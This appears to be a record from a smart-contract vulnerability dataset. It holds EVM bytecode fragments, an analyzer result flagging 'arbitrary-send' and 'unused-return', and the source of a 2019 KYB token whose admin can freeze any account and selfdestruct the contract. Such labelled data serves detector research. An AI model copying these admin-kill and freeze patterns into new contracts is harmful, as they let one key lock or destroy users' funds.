1916838001178555611fce565b82800160010185558215611fce5791820182811115611fce578251825591602001919060010190611fb3565b80821115611f8f576000612179828261219f565b50600101612165565b80821115611f8f576000612196828261219f565b50600101612182565b50805460018160011615610100020316600290046000825580601f106121c557506121e3565b601f0160209004906000526020600020908101906121e391906120e3565b50565b803573ffffffffffffffffffffffffffffffffffffffff8116811461178a57600080fd5b600082601f83011261221a578081fd5b813561222d612228826132b6565b61328f565b81815291506020808301908481018184028601820187101561224e57600080fd5b60005b848110156122755761226388836121e6565b84529282019290820190600101612251565b505050505092915050565b600082601f830112612290578081fd5b813561229e612228826132b6565b818152915060208083019084810160005b84811015612275576122c6888484358a010161238e565b845292820192908201906001016122af565b600082601f8301126122e8578081fd5b81356122f6612228826132b6565b818152915060208083019084810160005b848110156122755761231e888484358a010161238e565b84529282019290820190600101612307565b600082601f830112612340578081fd5b813561234e612228826132b6565b81815291506020808301908481018184028601820187101561236f57600080fd5b60005b8481101561227557813584529282019290820190600101612372565b600082601f83011261239e578081fd5b81356123ac612228826132d6565b91508082528360208285010111156123c357600080fd5b8060208401602084013760009082016020015292915050565b6000602082840312156123ed578081fd5b611c8e83836121e6565b600080600080600060a0868803121561240e578081fd5b853567ffffffffffffffff80821115612425578283fd5b61243189838a0161220a565b96506020880135915080821115612446578283fd5b61245289838a01612330565b95506040880135915080821115612467578283fd5b61247389838a016122d8565b94506060880135915080821115612488578283fd5b61249489838a01612280565b935060808801359150808211156124a9578283fd5b506124b68882890161238e565b9150509295509295909350565b6000602082840312156124d4578081fd5b8151611c8e81613354565b6000602082840312156124f0578081fd5b5051919050565b600060208284031215612508578081fd5b815167ffffffffffffffff81111561251e578182fd5b8201601f8101841361252e578182fd5b805161253c612228826132d6565b818152856020838501011115612550578384fd5b612561826020830160208601613324565b95945050505050565b60006020828403121561257b578081fd5b5035919050565b60008060408385031215612594578182fd5b823591506125a584602085016121e6565b90509250929050565b600080604083850312156125c0578182fd5b8235915060208301356125d281613354565b809150509250929050565b600080600080600060a086880312156125f4578283fd5b85359450602086013561260681613354565b9350604086013560ff8116811461261b578384fd5b94979396509394606081013594506080013592915050565b600060208284031215612644578081fd5b81516bffffffffffffffffffffffff81168114611c8e578182fd5b6000815180845260208085019450808401835b838110156126a457815173ffffffffffffffffffffffffffffffffffffffff1687529582019590820190600101612672565b509495945050505050565b60008282518085526020808601955080818302840101818601855b84811015612716577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0868403018952612704838351612752565b988401989250908301906001016126ca565b5090979650505050505050565b6000815180845260208085019450808401835b838110156126a457815187529582019590820190600101612736565b6000815180845261276a816020860160208601613324565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b600081546001808216600081146127ba57600181146127f657612834565b607f600284041686527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0083166020870152604086019350612834565b6002830480875261280686613318565b60005b8281101561282a5781546020828b0101528482019150602081019050612809565b8801602001955050505b50505092915050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b73ffffffffffffffffffffffffffffffffffffffff9490941684526020840192909252151560408301526bffffffffffffffffffffffff16606082015260800190565b600073ffffffffffffffffffffffffffffffffffffffff8716825285602083015260a0604083015261291160a0830186612752565b82810360608401526129238186612752565b9150508260808301529695505050505050565b600073ffffffffffffffffffffffffffffffffffffffff8716825285602083015260a0604083015261296b60a083018661279c565b8281036060840152612923818661279c565b600060808252612990608083018761265f565b82810360208401526129a28187612723565b905082810360408401526129b681866126af565b905082810360608401526129ca81856126af565b979650505050505050565b90815260200190565b9384526020840192909252604083015273ffffffffffffffffffffffffffffffffffffffff16606082015260800190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b6020810160088310612a7457fe5b91905290565b600060208252611c8e6020830184612752565b60208082526044908201527f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360408201527f616e206f6e6c792062652071756575656420696620697420697320737563636560608201527f6564656400000000000000000000000000000000000000000000000000000000608082015260a00190565b60208082526045908201527f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60408201527f2063616e206f6e6c79206265206578656375746564206966206974206973207160608201527f7565756564000000000000000000000000000000000000000000000000000000608082015260a00190565b60208082526029908201527f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707260408201527f6f706f73616c2069640000000000000000000000000000000000000000000000606082015260800190565b6020808252602d908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060408201527f616c726561647920766f74656400000000000000000000000000000000000000606082015260800190565b60208082526059908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000608082015260a00190565b60208082526028908201527f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960408201527f20616374696f6e73000000000000000000000000000000000000000000000000606082015260800190565b60208082526011908201527f6164646974696f6e206f766572666c6f77000000000000000000000000000000604082015260600190565b60208082526044908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60408201527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60608201527f6174636800000000000000000000000000000000000000000000000000000000608082015260a00190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060408201527f61626f7665207468726573686f6c640000000000000000000000000000000000606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060408201527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460608201527f2065746100000000000000000000000000000000000000000000000000000000608082015260a00190565b6020808252602c908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60408201527f7669646520616374696f6e730000000000000000000000000000000000000000606082015260800190565b6020808252603f908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260408201527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400606082015260800190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60408201527f76616c6964207369676e61747572650000000000000000000000000000000000606082015260800190565b60208082526058908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c7265616479206163746976652070726f706f73616c0000000000000000608082015260a00190565b60208082526036908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636160408201527f6e63656c2065786563757465642070726f706f73616c00000000000000000000606082015260800190565b6020808252602a908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6760408201527f20697320636c6f73656400000000000000000000000000000000000000000000606082015260800190565b60208082526015908201527f7375627472616374696f6e20756e646572666c6f770000000000000000000000604082015260600190565b8151151581526020808301511515908201526040918201516bffffffffffffffffffffffff169181019190915260600190565b60006101208b835273ffffffffffffffffffffffffffffffffffffffff8b1660208401528060408401526131bb8184018b61265f565b905082810360608401526131cf818a612723565b905082810360808401526131e381896126af565b905082810360a08401526131f781886126af565b90508560c08401528460e08401528281036101008401526132188185612752565b9c9b505050505050505050505050565b98895273ffffffffffffffffffffffffffffffffffffffff97909716602089015260408801959095526060870193909352608086019190915260a085015260c0840152151560e083015215156101008201526101200190565b918252602082015260400190565b60405181810167ffffffffffffffff811182821017156132ae57600080fd5b604052919050565b600067ffffffffffffffff8211156132cc578081fd5b5060209081020190565b600067ffffffffffffffff8211156132ec578081fd5b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b60009081526020902090565b60005b8381101561333f578181015183820152602001613327565b8381111561334e576000848401525b50505050565b80151581146121e357600080fdfea26469706673582212204ee1f363e811fc8fb751296113eb71460b7dc8ef9d5f2c98601f97e79cddb68b64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,429
0x78955790885e94c32d63c9bfbb6f886b9a0c6832
/** *Submitted for verification at Etherscan.io on 2019-07-05 */ /** *KYB是KY POOL矿池权益代币,KY POOL是一个有着坚实实体区块链挖矿资源的项目, * KY POOL隶属于FlyChain基金会,KYB是基于以太坊Ethereum的去中心化的区块链数字资产, * 发行总量恒定10亿个,每个阶段根据矿池运营的情况对KYB进行回购,用户可通过区块链浏览器查询, * 确保公开透明,KYB作为矿池生态唯一的价值流通通证,KYB与业内最大的存储矿机厂商矿爷合作, * 致力于构建分布于亚洲乃至全球最大最稳定、高效、高产的存储矿池。 */ pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } library FrozenChecker { using SafeMath for uint256; struct Rule { uint256 timeT; uint8 initPercent; uint256[] periods; uint8[] percents; } function check(Rule storage self, uint256 totalFrozenValue) internal view returns (uint256) { if (totalFrozenValue == uint256(0)) { return 0; } //uint8 temp = self.initPercent; if (self.timeT == uint256(0) || self.timeT > now) { return totalFrozenValue.sub(totalFrozenValue.mul(self.initPercent).div(100)); } for (uint256 i = 0; i < self.periods.length.sub(1); i = i.add(1)) { if (now >= self.timeT.add(self.periods[i]) && now < self.timeT.add(self.periods[i.add(1)])) { return totalFrozenValue.sub(totalFrozenValue.mul(self.percents[i]).div(100)); } } if (now >= self.timeT.add(self.periods[self.periods.length.sub(1)])) { return totalFrozenValue.sub(totalFrozenValue.mul(self.percents[self.periods.length.sub(1)]).div(100)); } } } library FrozenValidator { using SafeMath for uint256; using FrozenChecker for FrozenChecker.Rule; struct Validator { mapping(address => IndexValue) data; KeyFlag[] keys; uint256 size; } struct IndexValue { uint256 keyIndex; FrozenChecker.Rule rule; mapping (address => uint256) frozenBalances; } struct KeyFlag { address key; bool deleted; } function addRule(Validator storage self, address key, uint8 initPercent, uint256[] periods, uint8[] percents) internal returns (bool replaced) { //require(self.size <= 10); require(key != address(0)); require(periods.length == percents.length); require(periods.length > 0); require(periods[0] == uint256(0)); require(initPercent <= percents[0]); for (uint256 i = 1; i < periods.length; i = i.add(1)) { require(periods[i.sub(1)] < periods[i]); require(percents[i.sub(1)] <= percents[i]); } require(percents[percents.length.sub(1)] == 100); FrozenChecker.Rule memory rule = FrozenChecker.Rule(0, initPercent, periods, percents); uint256 keyIndex = self.data[key].keyIndex; self.data[key].rule = rule; if (keyIndex > 0) { return true; } else { keyIndex = self.keys.length++; self.data[key].keyIndex = keyIndex.add(1); self.keys[keyIndex].key = key; self.size++; return false; } } function removeRule(Validator storage self, address key) internal returns (bool success) { uint256 keyIndex = self.data[key].keyIndex; if (keyIndex == 0) { return false; } delete self.data[key]; self.keys[keyIndex.sub(1)].deleted = true; self.size--; return true; } function containRule(Validator storage self, address key) internal view returns (bool) { return self.data[key].keyIndex > 0; } function addTimeT(Validator storage self, address addr, uint256 timeT) internal returns (bool) { require(timeT > now); self.data[addr].rule.timeT = timeT; return true; } function addFrozenBalance(Validator storage self, address from, address to, uint256 value) internal returns (uint256) { self.data[from].frozenBalances[to] = self.data[from].frozenBalances[to].add(value); return self.data[from].frozenBalances[to]; } function validate(Validator storage self, address addr) internal view returns (uint256) { uint256 frozenTotal = 0; for (uint256 i = iterateStart(self); iterateValid(self, i); i = iterateNext(self, i)) { address ruleaddr = iterateGet(self, i); FrozenChecker.Rule storage rule = self.data[ruleaddr].rule; frozenTotal = frozenTotal.add(rule.check(self.data[ruleaddr].frozenBalances[addr])); } return frozenTotal; } function iterateStart(Validator storage self) internal view returns (uint256 keyIndex) { return iterateNext(self, uint256(-1)); } function iterateValid(Validator storage self, uint256 keyIndex) internal view returns (bool) { return keyIndex < self.keys.length; } function iterateNext(Validator storage self, uint256 keyIndex) internal view returns (uint256) { keyIndex++; while (keyIndex < self.keys.length && self.keys[keyIndex].deleted) { keyIndex++; } return keyIndex; } function iterateGet(Validator storage self, uint256 keyIndex) internal view returns (address) { return self.keys[keyIndex].key; } } contract KYPool { using SafeMath for uint256; using FrozenValidator for FrozenValidator.Validator; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address internal admin; //Admin address function changeAdmin(address newAdmin) public returns (bool) { require(msg.sender == admin); require(newAdmin != address(0)); uint256 balAdmin = balances[admin]; balances[newAdmin] = balances[newAdmin].add(balAdmin); balances[admin] = 0; admin = newAdmin; emit Transfer(admin, newAdmin, balAdmin); return true; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); constructor(string tokenName, string tokenSymbol, uint8 tokenDecimals, uint256 totalTokenSupply ) public { name = tokenName; symbol = tokenSymbol; decimals = tokenDecimals; totalSupply = totalTokenSupply; admin = msg.sender; balances[msg.sender] = totalTokenSupply; emit Transfer(0x0, msg.sender, totalTokenSupply); } mapping (address => bool) frozenAccount; mapping (address => uint256) frozenTimestamp; function getFrozenTimestamp(address _target) public view returns (uint256) { return frozenTimestamp[_target]; } function getFrozenAccount(address _target) public view returns (bool) { return frozenAccount[_target]; } function freeze(address _target, bool _freeze) public returns (bool) { require(msg.sender == admin); require(_target != admin); frozenAccount[_target] = _freeze; return true; } function freezeWithTimestamp(address _target, uint256 _timestamp) public returns (bool) { require(msg.sender == admin); require(_target != admin); frozenTimestamp[_target] = _timestamp; return true; } function multiFreeze(address[] _targets, bool[] _freezes) public returns (bool) { require(msg.sender == admin); require(_targets.length == _freezes.length); uint256 len = _targets.length; require(len > 0); for (uint256 i = 0; i < len; i = i.add(1)) { address _target = _targets[i]; require(_target != admin); bool _freeze = _freezes[i]; frozenAccount[_target] = _freeze; } return true; } function multiFreezeWithTimestamp(address[] _targets, uint256[] _timestamps) public returns (bool) { require(msg.sender == admin); require(_targets.length == _timestamps.length); uint256 len = _targets.length; require(len > 0); for (uint256 i = 0; i < len; i = i.add(1)) { address _target = _targets[i]; require(_target != admin); uint256 _timestamp = _timestamps[i]; frozenTimestamp[_target] = _timestamp; } return true; } FrozenValidator.Validator validator; function addRule(address addr, uint8 initPercent, uint256[] periods, uint8[] percents) public returns (bool) { require(msg.sender == admin); return validator.addRule(addr, initPercent, periods, percents); } function addTimeT(address addr, uint256 timeT) public returns (bool) { require(msg.sender == admin); return validator.addTimeT(addr, timeT); } function removeRule(address addr) public returns (bool) { require(msg.sender == admin); return validator.removeRule(addr); } function multiTransfer(address[] _tos, uint256[] _values) public returns (bool) { require(!frozenAccount[msg.sender]); require(now > frozenTimestamp[msg.sender]); require(_tos.length == _values.length); uint256 len = _tos.length; require(len > 0); uint256 amount = 0; for (uint256 i = 0; i < len; i = i.add(1)) { amount = amount.add(_values[i]); } require(amount <= balances[msg.sender].sub(validator.validate(msg.sender))); for (uint256 j = 0; j < len; j = j.add(1)) { address _to = _tos[j]; if (validator.containRule(msg.sender) && msg.sender != _to) { validator.addFrozenBalance(msg.sender, _to, _values[j]); } balances[_to] = balances[_to].add(_values[j]); balances[msg.sender] = balances[msg.sender].sub(_values[j]); emit Transfer(msg.sender, _to, _values[j]); } return true; } function transfer(address _to, uint256 _value) public returns (bool) { transferfix(_to, _value); return true; } function transferfix(address _to, uint256 _value) public { require(!frozenAccount[msg.sender]); require(now > frozenTimestamp[msg.sender]); require(balances[msg.sender].sub(_value) >= validator.validate(msg.sender)); if (validator.containRule(msg.sender) && msg.sender != _to) { validator.addFrozenBalance(msg.sender, _to, _value); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(!frozenAccount[_from]); require(now > frozenTimestamp[_from]); require(_value <= balances[_from].sub(validator.validate(_from))); require(_value <= allowed[_from][msg.sender]); if (validator.containRule(_from) && _from != _to) { validator.addFrozenBalance(_from, _to, _value); } balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function kill() public { require(msg.sender == admin); selfdestruct(admin); } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd146102225780631e89d5451461024d57806323b872dd1461030e578063313ce5671461039357806341c0e1b5146103c457806370a08231146103db5780638f2839701461043257806395d89b411461048d57806399f9b55e1461051d578063a2c8a9271461060b578063a9059cbb14610670578063bf120ae5146106d5578063c49778071461073c578063c878dad914610797578063d54c8a5614610858578063d70907b0146108a5578063d950c4321461090a578063dd62ed3e146109cb578063df21950f14610a42578063e6ad5bc714610a9d575b600080fd5b34801561013957600080fd5b50610142610af4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b92565b604051808215151515815260200191505060405180910390f35b34801561022e57600080fd5b50610237610c84565b6040518082815260200191505060405180910390f35b34801561025957600080fd5b506102f46004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610c8a565b604051808215151515815260200191505060405180910390f35b34801561031a57600080fd5b50610379600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110c9565b604051808215151515815260200191505060405180910390f35b34801561039f57600080fd5b506103a861157e565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103d057600080fd5b506103d9611591565b005b3480156103e757600080fd5b5061041c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611628565b6040518082815260200191505060405180910390f35b34801561043e57600080fd5b50610473600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611670565b604051808215151515815260200191505060405180910390f35b34801561049957600080fd5b506104a2611939565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e25780820151818401526020810190506104c7565b50505050905090810190601f16801561050f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561052957600080fd5b506105f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506119d7565b604051808215151515815260200191505060405180910390f35b34801561061757600080fd5b50610656600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a59565b604051808215151515815260200191505060405180910390f35b34801561067c57600080fd5b506106bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ad5565b604051808215151515815260200191505060405180910390f35b3480156106e157600080fd5b50610722600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611aeb565b604051808215151515815260200191505060405180910390f35b34801561074857600080fd5b5061077d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c07565b604051808215151515815260200191505060405180910390f35b3480156107a357600080fd5b5061083e6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050611c5d565b604051808215151515815260200191505060405180910390f35b34801561086457600080fd5b506108a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e02565b005b3480156108b157600080fd5b506108f0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612114565b604051808215151515815260200191505060405180910390f35b34801561091657600080fd5b506109b1600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061221d565b604051808215151515815260200191505060405180910390f35b3480156109d757600080fd5b50610a2c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506123af565b6040518082815260200191505060405180910390f35b348015610a4e57600080fd5b50610a83600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612436565b604051808215151515815260200191505060405180910390f35b348015610aa957600080fd5b50610ade600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124af565b6040518082815260200191505060405180910390f35b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8a5780601f10610b5f57610100808354040283529160200191610b8a565b820191906000526020600020905b815481529060010190602001808311610b6d57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60055481565b600080600080600080600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610cec57600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442111515610d3957600080fd5b86518851141515610d4957600080fd5b87519450600085111515610d5c57600080fd5b60009350600092505b84831015610db457610d978784815181101515610d7e57fe5b90602001906020020151856124f890919063ffffffff16565b9350610dad6001846124f890919063ffffffff16565b9250610d65565b610e18610dcb33600961251490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265290919063ffffffff16565b8411151515610e2657600080fd5b600091505b848210156110ba578782815181101515610e4157fe5b906020019060200201519050610e6133600961266b90919063ffffffff16565b8015610e9957508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15610ecf57610ecd33828985815181101515610eb157fe5b9060200190602002015160096126bc909392919063ffffffff16565b505b610f378783815181101515610ee057fe5b906020019060200201516000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f890919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fe18783815181101515610f8a57fe5b906020019060200201516000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef898581518110151561108057fe5b906020019060200201516040518082815260200191505060405180910390a36110b36001836124f890919063ffffffff16565b9150610e2b565b60019550505050505092915050565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561112457600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544211151561117157600080fd5b6111d561118885600961251490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265290919063ffffffff16565b82111515156111e357600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561126e57600080fd5b61128284600961266b90919063ffffffff16565b80156112ba57508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156112d9576112d784848460096126bc909392919063ffffffff16565b505b61132a826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265290919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113bd826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061148e82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115ed57600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116cf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561170b57600080fd5b600080600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506117bf816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000806000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36001915050919050565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119cf5780601f106119a4576101008083540402835291602001916119cf565b820191906000526020600020905b8154815290600101906020018083116119b257829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a3557600080fd5b611a4f85858585600961286390949392919063ffffffff16565b9050949350505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ab757600080fd5b611acd83836009612c4e9092919063ffffffff16565b905092915050565b6000611ae18383611e02565b6001905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b4957600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611ba657600080fd5b81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806000806000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611cc157600080fd5b85518751141515611cd157600080fd5b865193506000841115